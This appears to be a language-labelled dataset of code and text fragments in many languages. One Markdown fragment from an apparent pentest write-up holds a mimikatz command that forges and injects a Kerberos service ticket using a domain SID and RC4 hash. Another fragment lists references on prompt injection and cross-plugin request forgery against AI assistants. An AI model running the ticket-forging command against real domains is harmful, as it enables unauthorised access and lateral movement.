content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
6719, 345.346923828125)">0x0000_000C</span>
<span font="Arial" bbox="(105.23999786376953, 352.3322448730469, 108.23706817626953, 362.3869323730469)">-</span>
<span font="Arial" bbox="(125.45999908447266, 352.3322448730469, 130.46536254882812, 362.3869323730469)">0</span>
<span font="Arial" bbox="(145.25999450683594, 35... | HTML |
7a}.comment-reply-link{position:absolute;background:#e8eaec;color:#202e2e;right:0;top:0;padding:8px;font-size:11px;line-height:1;font-family:kessel,Arial,"Helvetica Neue",Helvetica,sans-serif;text-transform:uppercase;letter-spacing:1px;font-weight:700}.comment-reply-link:visited{color:#202e2e}.comment-reply-link:hover,... | HTML |
ServiceRegistries").start_array();
for item_1710 in var_1708 {
{
let mut object_1711 = array_1709.value().start_object();
crate::json_ser::serialize_structure_crate_model_aws_ecs_service_service_registries_details(&mut object_1711, item_1710);
object_1... | Rust |
EqualTo("abc123")
}
@Test
fun `throws an exception if the reference is not found`() {
val referenceValue = ReferenceValue(ValueReference("auth.cookie"), mapOf("auth" to References("cookie", ContractFileWithExports(""), contractCache = ContractCache())))
assertThatThrownBy { referenceValue.f... | Kotlin |
D0 ; =_021D4140
ldr r0, [r0, #8]
cmp r0, #0
beq _020376CA
bl sub_0203993C
bl sub_02034044
cmp r0, #0
beq _020376C4
bl ov00_021E6964
mov r1, #0
mvn r1, r1
cmp r0, r1
beq _020376CA
lsl r0, r0, #0x10
lsr r0, r0, #0x10
pop {r3, pc}
_020376C4:
bl sub_020338F4
pop {r3, pc}
_020376CA:
mov r0, #0
pop {r3, pc... | Assembly |
执行,所以就执行到for死循环无法退出。
go1.14是可以执行到panic,而1.13版本一直挂在死循环上。那么在go1.13是如何解决这个问题? 要么并发加大,要么执行一个syscall,要么执行复杂的函数产生morestack扩栈。对比go1.13版,通过strace可以看到go1.14多了一步发送信号中断。这看似就是文章开头讲到的基于信号的抢占式调度了。
:
figletfunc("CURRENCY CONVERTER")
currin = input("ENTER INPUT CURRENCY CODE(INR/EUR/AUD): ")
amt = int(input("ENTER AMOUNT: "))
val1 = convert_to_usd(currin.upper())
usdval = amt/val1
usdval = round(usdval, 2)
currout = input("ENTER OU... | Python |
parameters (use DamlVariant instead))")
}
})
.collect();
let type_arguments = extract_generic_type_arguments(generics);
AttrEnum::new(name, all_constructors, type_arguments)
}
fn extract_generic_type_arguments(generics: &Generics) -> Vec<String> {
generics
.params
... | Rust |
r.gitUserEmail,
userName = settingsManager.gitUserName,
submodules = settingsManager.gitSubmodules,
recursiveSubmodules = settingsManager.gitRecursiveSubmodules,
)
}
class Factory : ViewModelProvider.Factory {
@Inject
lateinit var viewModelProvider: ... | Kotlin |
\"?\"", false));
Assertions.assertFalse(ClientParser.hasParameter("SELECT \"?\"", false));
Assertions.assertFalse(ClientParser.hasParameter("SELECT \"\\?\"", false));
Assertions.assertFalse(ClientParser.hasParameter("SELECT `?`", false));
Assertions.assertFalse(ClientParser.hasParameter("SELECT /*? */",... | Java |
bject<AutoScheduleContextNode>();
node->task_id = task_id;
node->graph = graph;
node->target = target;
node->spaces = MultiScheduleSpace(graph, target);
node->topk = topk;
node->new_trial = new_trial;
node->policy = policy;
node->counts = 0U;
data_ = std::move(node);
}
void add_... | C |
À moins qu'il n'y ait un match nul où aucun joueur ne gagne quoi que ce soit, le pot va à l'un des joueurs, ce qui fait que l'autre perd l'équivalent
- **imperfect information** : signifie que les joueurs ne sont pas conscients de l'état exact du jeu - il y a des informations cachées dont les joueurs ne sont pas consc... | Markdown |
"].includes(float)) {
float = "none";
}
}
//检测高度是否合法:
// 1、如果是单曲类,高度为固定值,高度类型为固定值减去20;
if (["2", "3"].includes(type)) {
height = size === "small" ? 52 : 86;
height_type = h... | HTML |
/cgrates/birpc/context"
"github.com/cgrates/cgrates/engine"
"github.com/cgrates/cgrates/utils"
)
// AttributeSv1Ping interrogates AttributeS server responsible to process the event
func (dS *DispatcherService) AttributeSv1Ping(ctx *context.Context, args *utils.CGREvent,
reply *string) (err error) {
if args == nil ... | Go |
/*
* linux/arch/arm/lib/csumpartialcopy.S
*
* Copyright (C) 1995-1998 Russell King
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/linkage.h>
#include <a... | Assembly |
, typename T3, typename T4
, typename T5, typename T6, typename T7
>
struct list8
: list_node<
integral_c< long,8 >
, T0
, list7< T1,T2,T3,T4,T5,T6,T7 >
>
{
typedef list8 type;
};
template<
typename T0, typename T1, typename T2, typename T3, typename T4
, typ... | C++ |
MoonPhase), }, null, new pbr::GeneratedClrTypeInfo[] {
new pbr::GeneratedClrTypeInfo(typeof(global::Google.Geo.Weather.V1.SunEvents), global::Google.Geo.Weather.V1.SunEvents.Parser, new[]{ "SunriseTime", "SunsetTime" }, null, null, null, null),
new pbr::GeneratedClrTypeInfo(typeof(global::Google... | C# |
}
public Class7391 method29184() {
return this.field35769;
}
public void method29185(Class7391 var1) {
this.field35769 = var1;
}
}
package mapped;
import net.minecraft.block.BlockState;
import net.minecraft.block.Blocks;
import net.minecraft.client.Minecraft;
import net.minecraft.util.math.Bl... | Java |
* [O que é o Azure PowerShell?](https://docs.microsoft.com/pt-br/powershell/azure/what-is-azure-powershell?view=azps-9.6.0)
* Descrever o propósito do Azure Arc
* [Visão geral do Azure ARC](https://docs.microsoft.com/pt-br/azure/azure-arc/overview)
* Descrever o Azure Resource Manager e os modelos do Azure Resource M... | Markdown |
le one
--- @param headers table<string, string> Additional header items. Note that some headers couldn't be overrided by this
--- @param url string Url to override default game server host and port
function UISender:SendRequest(serviceCode, body, config)
local options = _GenDefaultOptions()
---Set configs
opt... | Lua |
Unicode 編碼注釋為有" }
, { "➋➐", " [control]+[ = ]切換《Easy》英文排序為序排" }
, { "➋➑", " (↑ 序排:按 a~z、個排(初始):按字母個數 )" }
, { "➋➒", " • 初始設定" }
, { "➌🄌", " [control]+[shift]+[ , ]切換中文" }
, { "➌➊", " [control]+[shift]+[ . ]切換半形(半角)" }
, { "➌➋", " [control]+[shift]+[ / ]切換標點全形(原注音形式)" }
... | Lua |
() {
return java.util.Collections.unmodifiableList(targetFishId_);
}
/**
* <code>repeated int64 targetFishId = 3;</code>
*
* <pre>
*击中目标鱼ID
* </pre>
*/
public int getTargetFishIdCount() {
return targetFishId_.size();
}
/**
* ... | Java |
0 0 0-1.398 2.573c2.524.787 4.56 2.237 6.106 4.349 1.547 2.111 2.32 4.495 2.32 7.15 0 3.354-1.171 6.202-3.514 8.545s-5.192 3.515-8.546 3.515m0-3.689c2.33 0 4.31-.812 5.942-2.437 1.63-1.625 2.446-3.602 2.446-5.932 0-2.33-.816-4.311-2.446-5.942-1.631-1.63-3.612-2.446-5.942-2.446s-4.308.815-5.933 2.446c-1.624 1.63-2.437 ... | HTML |
return
end
elseif 1 == A1_2 then
if A2_2 then
L9_2 = L7_2
L8_2 = L7_2.fB4E9D030
L10_2 = "f_in"
L8_2(L9_2, L10_2)
else
L9_2 = L7_2
L8_2 = L7_2.fB4E9D030
L10_2 = "in"
L8_2(L9_2, L10_2)
end
L8_2 = A0_2[25]
L8_2[1] = tru... | Lua |
//
// BMMusicPlayer.h
// Calm
//
// Created by BirdMichael on 2018/11/2.
// Copyright © 2018 BirdMichael. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <FreeStreamer/FSAudioStream.h>
// 播放器播放状态
typedef NS_ENUM(NSUInteger, BMMusicPlayerState) {
BMMusicPlayerStateLoading, // 加载中
... | C |
bsidian文件夹移动完毕之后,现在目录看起来应是这样的:![[Pasted image 20230120105017.png]]
### 至此,Obsidian文件夹内的文件全部移动完毕。此时这个ZJD的Obsidian库在不涉及脚本和Quickadd, 模板插件等特殊功能时,基本正常。
*这里暂时不删除 `60-Canvas` 和 `88-Template` 目录,是为了方便下一步在用VSCode替换文本时可以方便的参考原 Blue Topaz 示例库的目录结构*
**上一步:**[[迁移 Blue Topaz 示例库的数据文件夹]]
**下一步:**[[用 VSCode 改 Blue Topaz 示例库内的路径... | Markdown |
</menupopup><br>
</window></code></p>
<p>Instead of</p>
<p><span style="font-family: helvetica;"><code> <hbox id="urlbar-icons"><br>
<button type="menu"><br>
<menupopup><br>
<menuitem label="menuitem"/><br>
<menui... | HTML |
> <a href="http://www.runoob.com/linux/linux-system-contents.html" rel="prev"> Linux 系统目录结构</a> </div>
<div class="next-design-link"><a href="http://www.runoob.com/linux/linux-remote-login.html" rel="next"> Linux 远程登录</a> <i style="font-size:16px;" class="fa fa-arrow-right" aria-hidden="true"></i></div>
</div>
<... | HTML |
vice.Distribution("distribution", 42.1, tags: new[] { "tag1:true,tag2" });
AssertWasReceived("distribution:42.1|d|#tag1:true,tag2");
}
[Test]
public void Distribution_double_sample_rate()
{
_dogStatsdService.Distribution("distribution", 42.1, 1.1);
As... | C# |
tml[class~="dark"] *) {
--tw-border-opacity: 1;
border-color: rgb(249 250 251 / var(--tw-border-opacity, 1));
}
.contrast-more\:dark\:_border-neutral-400:is(html[class~="dark"] *) {
--tw-border-opacity: 1;
border-color: rgb(163 163 163 / var(--tw-border-opacity, 1));
}
.contrast-more\:dark\:_bor... | CSS |
.scatter(subDf.bcodeCount, subDf.asmCount)
plt.title("ASM variation by Bytecode")
plt.xlabel("Bytecode Instruction Count")
plt.ylabel("ASM Instruction Count")
if plotFile is not None:
plt.savefig(plotFile)
return plt
def predictionErrorPlot(df, plotFile=None, minPerc=None, maxPerc=None, ... | Python |
// 证书格式为 JKS 时必填。
JksKeypass string `json:"jksKeypass,omitempty"`
// JKS 存储密码。
// 证书格式为 JKS 时必填。
JksStorepass string `json:"jksStorepass,omitempty"`
}
type SSLDeployerProvider struct {
config *SSLDeployerProviderConfig
logger *slog.Logger
}
var _ core.SSLDeployer = (*SSLDeployerProvider)(nil)
func NewSSLDeploy... | Go |
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
var COREHTML5 = COREHTML5 || {};
COREHTML5.topLeftTimeBasedMotion = function () {
var topCanvas = document.querySelector('#topCanvas'),
topContext = topCanvas.getContext('2d'),
paused = true,
discs = [
... | JavaScript |
'''OpenGL extension ARB.derivative_control
This module customises the behaviour of the
OpenGL.raw.GL.ARB.derivative_control to provide a more
Python-friendly API
Overview (from the spec)
This extension provides control over the spacial granularity at which the
underlying implementation computes derivatives.
... | Python |
now: now,
request_queue: request_queue
}
}
pub fn poll(&self) {
for (interval, plugins) in &self.intervals {
let elapsed_secs = self.now.elapsed().as_secs();
if elapsed_secs > 0 && interval > &0 && elapsed_secs % interval == 0 {
for plugin_name in plugins {
self.reques... | Rust |
ached_sizes(&self, os: &mut ::protobuf::CodedOutputStream) -> ::protobuf::ProtobufResult<()> {
if let Some(ref v) = self.task_id.as_ref() {
os.write_tag(1, ::protobuf::wire_format::WireTypeLengthDelimited)?;
os.write_raw_varint32(v.get_cached_size())?;
v.write_to_with_cached_... | Rust |
();
return _pt;
} else if (Object.getPrototypeOf(pt).constructor === Object) {
const data: anyType = {};
for (let i in pt) {
data[i] = toJS((pt as anyType)[i]);
}
return data;
} else if (Object.getPrototypeOf(pt).constructor === Array) {
const data: anyType = [];
(<Array<DataUnit<T... | Typescript |
misc pages ([37ec7ba4](https://github.com/compodoc/compodoc/commit/37ec7ba4)), closes [#266](https://github.com/compodoc/compodoc/issues/266)
- **deps:** @internal for main class decorator ([bafc1878](https://github.com/compodoc/compodoc/commit/bafc1878)), closes [#262](https://github.com/compodoc/compodoc/issues/262)... | Markdown |
skName(0), "parked", 2),
Tuple.tuple(PlannerGroups.VQB_MANAGER.getName(), getAffinityGroup(2), getTaskName(0), "parked", 2),
Tuple.tuple(PlannerGroups.VQB_MANAGER.getName(), MetricHelper.DEFAULT_GROUP_TAG_NAME, getTaskName(1), "parked", 2),
Tuple.tuple(PlannerGroups.VQB_MANAGER.getNa... | Java |
OT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
// CONNECTION WITH THE ... | C# |
.addr, sizeof(a.inaddr)) == -1)
goto error;
if(getsockname(listener, &a.addr, &addrlen) == -1 ||
addrlen < (int)sizeof(a.inaddr))
goto error;
if(listen(listener, 1) == -1)
goto error;
socks[0] = socket(AF_INET, SOCK_STREAM, 0);
if(socks[0] == CURL_SOCKET_BAD)
goto error;
if(connect(socks[... | C |
�市线、在 1933 年该站与 Monument station 之间通过地下通道链接,从而增加了两条线,是北线、环线和地区线。</p>
</body>
</html><!doctype html public "-//w3c//dtd html 4.01 transitional//en">
<html>
<head>
<title>4.皇家军事学院</title>
<meta name="generator" content="winchm">
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<link rel="stylesheet" ty... | HTML |
en),
pmt::mp(len),
"samples",
"set vector length",
RPC_PRIVLVL_MIN,
... | C++ |
|
| 疫情防控 | 如何正确佩戴口罩? ... | Markdown |
[0xAD7C3A7D] = "data2/3D/NOTE/nolb/jpn/nolb2f.bch",
[0xADFB0E06] = "data2/3D/NOTE/nolb/jpn/nolb30.bch",
[0xAE092587] = "data2/3D/NOTE/nolb/jpn/nolb31.bch",
[0xAE173D08] = "data2/3D/NOTE/nolb/jpn/nolb32.bch",
[0xAE255489] = "data2/3D/NOTE/nolb/jpn/nolb33.bch",
... | C# |
WhereInputScalarFilterType_value[scalarType])
schema, err = searchFieldSchemaOnDefinitionProperties(argumentDefinitions, schema, scalarType)
case 1:
scalarFilter.Insensitive = cast.ToBool(string(bytes))
}
}, whereInputScalarFilterTypeKeys...)
return
}
func (v *whereInput) resolveWhereInputRelationFilter(re... | Go |
panel.addView(
button,
if (button is Space) spaceLayoutParams else buttonLayoutParams
)
}
return ButtonPanel(panel, buttons)
}
private fun createButton(
conte... | Kotlin |
/* 00904 80B44954 24100017 */ addiu $s0, $zero, 0x0017 ## $s0 = 00000017
.L80B44958:
/* 00908 80B44958 3C0143BE */ lui $at, 0x43BE ## $at = 43BE0000
/* 0090C 80B4495C 4481C000 */ mtc1 $at, $f24 ## $f24 = 380.00
/* 00910 80B44960 2410000E */ addiu $s0, $zero, 0x000E... | Assembly |
bracethered.com/blog/posts/2023/chatgpt-cross-plugin-request-forgery-and-prompt-injection./): **Embrace The Red**
4. [NeMo-Guardrails: Interface guidelines](https://github.com/NVIDIA/NeMo-Guardrails/blob/main/docs/security/guidelines.md): **NVIDIA Github**
5. [Simon Willison: Dual LLM Pattern](https://simonwillison.net... | Markdown |
2F%2Ftracker.example1.com%3A1337';
const empty = { announce: [], peerAddresses: [], urlList: [] };
test('should decode', () => {
const result: MagnetData = {
announce: [
'udp://tracker.example1.com:1337',
'udp://tracker.example2.com:80',
'udp://tracker.example3.com:6969',
'udp://tracker.... | Typescript |
)
{
item.itemNum += itemQty;
}
else
{
item = new Item();
item.itemId = itemId;
item.itemNum = itemQty;
Game.role.bag.push( item );
}
}
return true;
}
/**
* 计算box的内容到Reward,不改变Role数据
* */
private applyBox( boxIdx:number, rwd:Reward ):boolean
{
var groupMap = {};
... | Typescript |
func (c *Counter) Add(x int64) {
// put our value into stripped slice of values
localStripeIdx := (len(c.stripedValues) - 1) & int(goid.ID())
c.stripedValues[localStripeIdx].v.Add(x)
}
// Load calculates current Counter value, but can omit concurrent updates that happen during Load.
func (c *Counter) Load() int64 ... | Go |
ement. Warning is an
extension of the Element class.
"""
return self._tree.warning
def __len__(self) -> int:
return len(self._tree)
def __iter__(self):
yield from self._tree
def __getitem__(self, idx: int) -> Node:
return self._tree[idx]
def get(se... | Python |
return msg.SerializeAsArray();
}
void SdeSdePerfSetQosLutsFtraceEvent::Serialize(::protozero::Message* msg) const {
// Field 1: fl
if (_has_field_[1]) {
::protozero::internal::gen_helpers::SerializeVarInt(1, fl_, msg);
}
// Field 2: fmt
if (_has_field_[2]) {
::protozero::internal::gen_helpers::Seria... | C++ |
Fonts
*/
$system-sans: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Helvetica, Arial, 'Microsoft Yahei', 'Hiragino Sans GB', 'Heiti SC', 'WenQuanYi Micro Hei', sans-serif;
$system-mono: 'Fira Mono', 'DejaVu Sans Mono', Menlo, C... | CSS |
ebrauchsspuren können für eine Abweichung zur Ersteinschätzung verantwortlich sein. Fällt der Restwert geringer aus als im Vertrag vereinbart, müssen die Kunden für die Differenz aufkommen.\n\n;
Ok(ret)
}),
}
}
}
<gh_stars>0
mod circle;
mod cuboid;
mod line1;
mod line2;
mod polygon;
mod rect;
mod triangle;
pub use circle::Circle;
pub use cuboid::Cuboid;
pub use line1::Line1;
pub use line2::Line2;
pub use po... | Rust |
SerialNumber": "45dfec7bb3d378c97feb24efd699bb4e",
"Version": 1
}
],
"SignerInfo": ""
}
```
{{< /details >}}
-----
[*source*](https://github.com/magicsword-io/LOLDrivers/blob/main/yaml/19d16518-4aee-4983-ba89-dbbe0fa8a3e7.yaml)
*last_updated:* 2025-08-28
{{< /column >}}
{{< /block >}}
+++
descripti... | Markdown |
net.ccbluex.liquidbounce.features.module.ClientModule
import net.ccbluex.liquidbounce.render.engine.type.Color4b
import net.ccbluex.liquidbounce.utils.render.placement.PlacementRenderer
import net.minecraft.entity.FallingBlockEntity
import net.minecraft.network.packet.s2c.play.BlockUpdateS2CPacket
import net.minecraft... | Kotlin |
mpliance with the License.
//You may obtain a copy of the License at
//
//http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express... | Rust |
eeded = table->subset (&c);
if (serializer.ran_out_of_room)
{
buf_size += (buf_size >> 1) + 32;
DEBUG_MSG (SUBSET, nullptr, "OT::%c%c%c%c ran out of room; reallocating to %u bytes.", HB_UNTAG (tag), buf_size);
if (unlikely (!buf.alloc (buf_size)))
{
DEBUG_MSG (SUBSET, nullptr, "OT::%c%c... | C++ |
weiboType: 'lifestyle',
writingStyle: 'emotional'
},
{
icon: 'ri-question-line',
title: '育儿问答',
desc: '育儿经验和问题互动',
type: '提问互动',
weiboType: 'question',
writingStyle: 'conversational'
}
];
// 小红书笔记模块参考案例数据
const xiaohongshuArticleExamples = [
{
title: '这款面霜真的绝了',
des... | JavaScript |
::currentDateTime().toString("yyyy-MM-dd hh-mm-ss"));
if (!dir.mkdir(subDir)) {
ui->message->setErrorMessage(tr("Could not create export directory."));
return;
}
mediaelch::MediaExport exporter(m_canceled);
connect(&exporter, &mediaelch::MediaExport::sigItemExported, this, [&]() { //
... | C++ |
e": "<전자정부프레임워크 스타일의 VO 코드>",
"report": {{"변경 사항": "<변경 사항>",
"추가 사항": "<추가 사항>",
"요약": "<변환 및 생성 요약>"
}}
}}
}}
- code와 report 외에는 아무것도 출력하지 않습니다.
"""
)
if __name__ == '__main__':
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-4o-mini", api_ke... | Python |
ref="A1.E17.m1.1.1.1.1.3.2.cmml"><mrow id="A1.E17.m1.1.1.1.1.3.2.2" xref="A1.E17.m1.1.1.1.1.3.2.2.cmml"><mrow id="A1.E17.m1.1.1.1.1.3.2.2.2" xref="A1.E17.m1.1.1.1.1.3.2.2.2.cmml"><mn id="A1.E17.m1.1.1.1.1.3.2.2.2.2" xref="A1.E17.m1.1.1.1.1.3.2.2.2.2.cmml">2</mn><mo id="A1.E17.m1.1.1.1.1.3.2.2.2.1" xref="A1.E17.m1.1.1.1... | HTML |
name: string = channels[i].name.substr(0, 24) + (channels[i].name.length > 24 ? "..." : ' '.repeat(24 - channels[i].name.length));
const users = channels[i].user_ids.length + " Users";
cselector.log(`${i+1}${" ".repeat(8)}${name}${" ".repeat(35 - (name.endsWith("...") ? 27 : name.length))}${users}${" "... | Typescript |
C_DataContextChanged;
#if WINSTA11
var sp = DirectItem.Text.Split(DirectItem.LinkMedia.LinkContext.LinkUrl);
#else
string[] strings = new[] { DirectItem.LinkMedia.LinkContext.LinkUrl };
var sp = DirectItem.Text.Split(strings, StringSplitOptions.None);
#endif
txtHere.Inlin... | C# |
RYEskicgocbN9Eo45EqhqqmfSHeYIOOZN9g/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1 "null")
伪造票据
> Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //伪造银票注入内存
;
{
V TV, TW, TX, TY;
TV = VSUB(TH, TK);
STM2(&(xo[20]), TV, ovs, &(xo[0]));
STN2(&(xo[20]), TV, TS, ovs);
TW = VADD(TL, TM);
STM2(&(xo[8]), TW, ovs, &(xo[0]));
STN2(&(xo[8]), TW, TR, ovs);
TX = VADD(TH, TK);
STM2(&(xo[4]), TX, ovs, &(xo[0]));
STN2(&(xo[4]), TX, TO... | C |
] * stride_kd
v_ptrs = V_ptr + start * stride_vn + block_kv * stride_vn + pid_h * stride_vh +\
tl.arange(0, BLOCK_SIZE_N)[:,None] * stride_vn + \
tl.arange(0, D)[None, :] * stride_vd
k = tl.load(k_ptrs,... | Python |
{
#[allow(unused)] pub(crate) fn into_rust(&mut self) -> Vec<crate::lightning::ln::msgs::UpdateFulfillHTLC> {
if self.datalen == 0 { return Vec::new(); }
let ret = unsafe { Box::from_raw(std::slice::from_raw_parts_mut(self.data, self.datalen)) }.into();
self.data = std::ptr::null_mut();
self.datalen = 0;
re... | Rust |
SpotlightCompetitionParams Params_0; // 0x0000(0x0068)(ConstParm, Parm, ReferenceParm, NativeAccessSpecifierPublic)
int32 RequestID; // 0x0068(0x0004)(Parm, ZeroConstructor, IsPlainOldData, NoDe... | C++ |
id(), this.getStatus());
this.setSucflag(true);
return "json";
}
/**
* 获取所有模板主题
*
* @return
*/
@Action(value = "getAllTemplatetheme", results = { @Result(name = "json", type = "json") })
public String getAllTemplatetheme() {
List<TemplatethemeT> list = this.getTemplatethemeTService().findAllTempla... | Java |
+ amount;
}
int permanentAttribute(Attribute a) {
int value = rawAttributes[a]!;
value = max(1, body.permanentAttributeMods(a, value, age));
if (a == Attribute.heart) value -= heartDamage;
return value;
}
int attribute(Attribute a) =>
max(1, modifyAttributeForBlood(a, levelAttribute(this... | Dart |
", "sspi/QueryContextAttributes", "sspi/QueryContextAttributesW"]
old-location: security\querycontextattributes__credssp_.htm
tech.root: security
ms.assetid: 4956c4ab-b71e-4960-b750-f3a79b87baac
ms.date: 12/05/2018
ms.keywords: QueryContextAttributes, QueryContextAttributes (CredSSP), QueryContextAttributes function [S... | Markdown |
char, c_uint, c_ulong, c_void};
use std::cell::Cell;
use std::collections::VecDeque;
use std::ffi::{CStr, CString};
use std::mem;
use std::ptr;
use std::slice;
use std::str;
use std::sync::{Mutex, Once, ONCE_INIT};
use std::sync::atomic::{AtomicBool, Ordering};
use gl;
use x11::key::{ElementState, ScanCode, VirtualKey... | Rust |
.root.back()));
}
else if (s[0] == 'B')
{
t.root.resize(l + 1);
t.v.resize(t.root[l] + 1);
}
else
{
scanf("%d", &r);
if (s[0] == 'Q')
d = t.root.size() - 1;
else
scanf("%d", &d);
printf("%lld\n", t.ask(l, r, t.root[d]));
}
}
}
}
```
<!-- {% endraw %} -->
---
re... | Markdown |
/*
* Copyright (c) 2016 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contribut... | C |
BgIiE',
'UUTMt7iMWa7jy0fNXIktwyLA',
'FLEnBXANsKmyj2r9xVyKoDiQ',
}) {
test('PlaylistID - $val', () {
final playlist = PlaylistId(val);
expect(playlist.value, val);
});
}
});
group('These are valid playlist urls', () {
for (final val in {
[
PlaylistId... | Dart |
bg = confirmHex(bg, "none");
const fill = bg === "none" ? bg : "#" + convertToSixChars(bg);
return h(
"svg",
{ width, height, xmlns: "http://www.w3.org/2000/svg", id: svgID },
h(
"style",
styles,
...Object.entries(CONTRIBUTION_LEVELS).map(([k, v]) =>
`#$... | Typescript |
, sp, #576
vpush {q0-q3}
vsub.s32 q3, q4, q8 //E[31]
vsub.s32 q2, q5, q9 //E[30]
vsub.s32 q1, q6, q10 //E[29]
vsub.s32 q0, q7, q11 //E[28]
add sp, sp, #512
vpush {q0-q3}
//load EE[4-7]
add sp, sp, #448
vldmia sp, {q4-q7}
vadd.s32 q0, q4, q12 //E[4]
v... | Assembly |
expect(body.firstElementChild.innerHTML).toEqual(
`<div><h1>Hello, Christopher</h1><a href="localhost">Nested child</a></div>`,
)
r()
}, 0)
})
})
})
steal('jquery', function($) {
var event = $.event,
//helper that finds handlers by type and calls back a function, this ... | JavaScript |
iconCropEntity
import com.lighthouse.database.entity.GifticonCropEntity.Companion.GIFTICON_CROP_TABLE
import com.lighthouse.database.entity.GifticonEntity
import com.lighthouse.database.entity.GifticonEntity.Companion.GIFTICON_TABLE
import com.lighthouse.database.entity.GifticonWithCrop
import com.lighthouse.database.e... | Kotlin |
println!("Digite um numero entre 1 e 100");
chute = myio::read_u8();
//Verificando se o chute eh invalido
if chute <1 || chute >100
{
//Imprimindo mensagem de erro
eprintln!("O chute deve ser entre 1 e 100");
}
else
{
//Saindo ... | Rust |
" + serialized);
}
for (transform of [
"none",
"matrix(1, 2, 3, 4, 5, 6)",
"matrix3d(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)",
"perspective(none)",
"perspective(0)",
"perspective(4cm)",
"translate(1%, 2px... | HTML |
lar1_min(c: &mut Criterion) {
bench(c, &NG_MIN, "angular1_min", false);
}
fn jquery(c: &mut Criterion) {
bench(c, &JQ, "jquery", false);
}
fn jquery_min(c: &mut Criterion) {
bench(c, &JQ_MIN, "jquery_min", false);
}
fn react(c: &mut Criterion) {
bench(c, &REACT, "react", false);
}
fn react_min(c: &m... | Rust |
,withReset:lt},Symbol.toStringTag,{value:"Module"}));var T9=S.forwardRef(({color:e="currentColor",size:n=14,...a},o)=>S.createElement("svg",{width:n,height:n,viewBox:"0 0 14 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",ref:o,...a},S.createElement("path",{d:"M6 3.5a.5.5 0 01.5.5v1.5H8a.5.5 0 010 1H6.5V8a.5.5 0 01-... | JavaScript |
f
def mask_entity_coordinates(
df: DataFrame,
) -> DataFrame:
"""
Mask the target entity and other entities in the text.
Args:
df (DataFrame): The input DataFrame
Returns:
DataFrame: The masked DataFrame
"""
i = 1
entity_counter = {}
df["masked_text"] = None
df... | Python |
from osgeo import gdal
from skimage import io, morphology
import numpy as np
from data_crop.project_array import project_array_and_save
def cutoff(extent_path,
boundary_path,
result_path,
threshold: float = 0.5):
"""
extent_map & boundary_map: float (0-1)
"""
extent_ds... | Python |
Dir;
static const targetAbis = [
"arm64_android",
"arm64_fuchsia",
"arm64_ios",
"arm64_linux",
"arm64_macos",
"arm64_win",
"arm_android",
"arm_ios",
"arm_linux",
"ia32_android",
"ia32_linux",
"ia32_win",
"x64_fuchsia",
"x64_ios",
"x64_linux",
"x64_macos... | Dart |
in the I/O group must open the data file for writing
* to overwrite any existing file of the same name, all other
* tasks in I/O group must open the data file in an append mode
* so everything gets added to the end of the file.
*/
if (firstInGroup) {
if ((fp = fopen(fileName, "w"... | C++ |
.defaultMinSize(minHeight = 20.dp)
.padding(end = 10.dp)
) {
Icon(
painter = iconPainter,
contentDescription = null,
tint = iconTint,
modifier = Modifier
.size(18.dp)
)
... | Kotlin |
e values
defined in <a class="reference internal" href="matrix_util.html#f/spral_matrix_util" title="f/spral_matrix_util: Matrix utilities"><code class="xref f f-mod docutils literal notranslate"><span class="pre">spral_matrix_util</span></code></a>. Note that RB files do not
distguish between symmetric positive-defini... | HTML |
r)
}
return nil
}
func (mgr *Manager) ensureCleanBasicRuleAndChain(table utiliptables.Table, chain, higherChain utiliptables.Chain, args ...string) error {
// ensure base "RAMA-XXX" chains in used tables, iptables -C need it to check if rule exist
if _, err := mgr.executor.EnsureChain(table, chain); err != nil {
... | Go |
))?"
)
// 道路中未匹配到的building信息
private val P_ROAD_BUILDING = Pattern.compile(
"[0-9A-Z一二三四五六七八九十]+(栋|橦|幢|座|号楼|号|\\#楼?)"
)
// 村信息
private val P_TOWN1 = Pattern.compile("^((?<z>[\u4e00-\u9fa5]{2,2}(镇|乡))(?<c>[\u4e00-\u9fa5]{1,3}村)?)")
private val P_TO... | Kotlin |
SessionStore {
InMemorySessionStore();
HashMap<SignalProtocolAddress, Uint8List> sessions =
HashMap<SignalProtocolAddress, Uint8List>();
@override
Future<bool> containsSession(SignalProtocolAddress address) async =>
sessions.containsKey(address);
@override
Future<void> deleteAllSessions(Stri... | Dart |
b: "ju2", // 蹫
0x8e6c: "deng1", // 蹬
0x8e6d: "ceng4", // 蹭
0x8e6e: "xian1", // 蹮
0x8e6f: "fan2", // 蹯
0x8e70: "chu2", // 蹰
0x8e71: "zhong1", // 蹱
0x8e72: "dun1", // 蹲
0x8e73: "bo1", // 蹳
0x8e74: "cu4", // 蹴
0x8e75: "cu4", // 蹵
0x8e76: "jue2", // 蹶
0x8e77: "jue2", // 蹷
0x8e78: "lin4", // 蹸
0x8e79: "ta2", /... | Go |
Photo(JmPhotoDetail):
# 自定义 custom 属性
@property
def custom(self):
